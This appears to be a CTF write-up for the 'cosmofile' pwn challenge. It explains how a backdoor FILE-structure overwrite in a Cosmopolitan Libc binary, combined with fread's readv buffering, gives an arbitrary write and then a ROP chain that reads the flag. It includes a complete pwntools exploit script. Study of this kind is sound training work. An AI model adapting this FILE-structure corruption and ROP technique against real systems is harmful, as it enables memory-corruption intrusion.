Challenge details

Have you ever read files? Hopefully, this will teach you how to read them. Go read the code, the Dockerfile, the fake flag, and the secrets of the universe…and the real flag, of course.

cosmofile.zip

Introduction

This challenge features a binary compiled with Cosmopolitan Libc - a build system that creates “Actually Portable Executable” binaries. There are no protections enabled except for NX.

The binary opens /tmp/cosmofile.txt and provides a menu with options to read from the file or exit. There’s also a hidden backdoor option 7238770 that allows writing up to 0x70 bytes directly to the FILE structure:

1
2
3
4
5
if (rax_10 == 0x6e7472) {
cosmo_puts("Whoa whoa whoa... you can't just…");
cosmo_puts("Just kidding, that's not really …");
read(0, rax, 0x70); // Direct write to FILE structure (rax)
}

When option 1 is selected, the program calls fread(&buf, 1, 0x1000, rax).

Exploitation

Exploit Cosmopolitan’s fread_unlocked buffering mechanism. When specific conditions are met, fread uses readv() with two iovec structures - one pointing to the user buffer and another to the FILE’s internal buffer. This allows writing to two memory locations simultaneously, enabling arbitrary writes.

Step 1: Stack Leak

By selecting option 1 initially, obtain a stack leak since the buffer isn’t initialized. The leak appears at a fixed offset in the output.

Step 2: Arbitrary Write via Buffering Trick

With the ability to overwrite the FILE structure that is going to be used with fgets, the next step is finding how to turn this into an arbitrary write.

The key is in Cosmopolitan’s fread_unlocked.c. When these conditions are met:

  • f->bufmode != _IONBF (not unbuffered mode)
  • n < f->size (requested bytes < FILE buffer size)

the function sets up two iovec structures:

code segment image

Then readv(f->fd, iov, 2) writes to both locations simultaneously.

For this exploit, control these key fields in the FILE structure:

1
2
3
4
5
6
7
8
Offset  Field       Value
+0x00 bufmode 0 (_IOFBF - full buffering)
+0x04 oflags 0 (O_RDONLY)
+0x0c fd 0 (stdin)
+0x18 size 0x1000 + len(payload)
+0x1c beg 0
+0x20 end 0
+0x28 buf target_address

By setting f->buf to the target address and f->size to be larger than the requested amount, fread will:

  1. Read 0x1000 bytes from stdin to the stack buffer
  2. Read additional bytes from stdin directly to the target address (f->buf)

This provides arbitrary write to any address.

Step 3: Ret2syscall

Since the Docker container bind-mounts /srv at /, executing /bin/sh would actually try to execute /srv/bin/sh which doesn’t exist. Instead, read the flag with open, read and write.

Thankfully, pwntools speeds up this process a lot with the rop.call function.

1
2
3
rop.call('open',  ['flag.txt', 0])
rop.call('read', [4, buffer, 100])
rop.call('write', [1, buffer, 100])

Overwrite the return address of the menu function with the ROP chain.

Proof

flag image

Full exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
#!/usr/bin/python3
from pwn import *

context.log_level = "debug"
context.terminal = ["zellij", "action", "new-pane", "-d", "right", "-c", "--", "zsh", "-c"]

exe = context.binary = ELF("/home/razvan/Desktop/cosmofile-L3akCTF/cosmofile")
libc = exe.libc

def start(*pargs, **kwargs):
if args.REMOTE:
return remote("34.45.81.67", 16005)
if args.GDB:
return exe.debug(gdbscript="b*menu+0x30\ncontinue", *pargs, **kwargs)
return exe.process(*pargs, **kwargs)

io = start(aslr=False)

####### HELPERS #######

# Trimmed to whats needed
def file_struct_trimmed(bufmode=0, freethis=0, freebuf=0, forking=0, oflags=0,
state=0, fd=0, pid=0, refs=0, size=0, beg=0, end=0, buf=0):

file_struct = b''
file_struct += p8(bufmode)
file_struct += p8(freethis)
file_struct += p8(freebuf)
file_struct += p8(forking)
file_struct += p32(oflags)
file_struct += p32(state)
file_struct += p32(fd)
file_struct += p32(pid)
file_struct += p32(refs)
file_struct += p32(size)
file_struct += p32(beg)
file_struct += p32(end)
file_struct += b'\x00' * 4
file_struct += p64(buf)

return file_struct


def arb_write(addr:int, content:bytes):
io.sendlineafter(b"> ", b"7238770") # backdoor
io.recvlines(2)

fs = file_struct_trimmed(
bufmode = 0, # _IOFBF
oflags = 0, # O_RDONLY
fd = 0,
size = 0x1000 + len(content),
beg = 0,
end = 0,
buf = addr
)

io.send(fs)

io.sendlineafter(b"> ", b"1")
io.recvline()
io.send(cyclic(0x1000) + content)

####### BEGIN #######

io.sendlineafter(b"> ", b"1")
io.recvuntil(b"not here...")

raw_leak = io.recvline()
stack_leak = u64(raw_leak[2613:2613+8])

print("stack leak @ %s" % hex(stack_leak))

menu_ret = stack_leak - 0x7fffffffdb10 + 0x7fffffffcbe8

# but can't just execve /bin/sh due to the docker settings

rop = ROP(exe)

wspace = 0x42f010 # just some random addr in writable space
arb_write(wspace, b"flag.txt\x00")

rop.call('open', [wspace, 0])
rop.call('read', [4, wspace+0x10, 100])
rop.call('write', [1, wspace+0x10, 100])
rop.call('exit', [0]) # debug reasons

chain = rop.chain()

arb_write(menu_ret, chain)

io.interactive()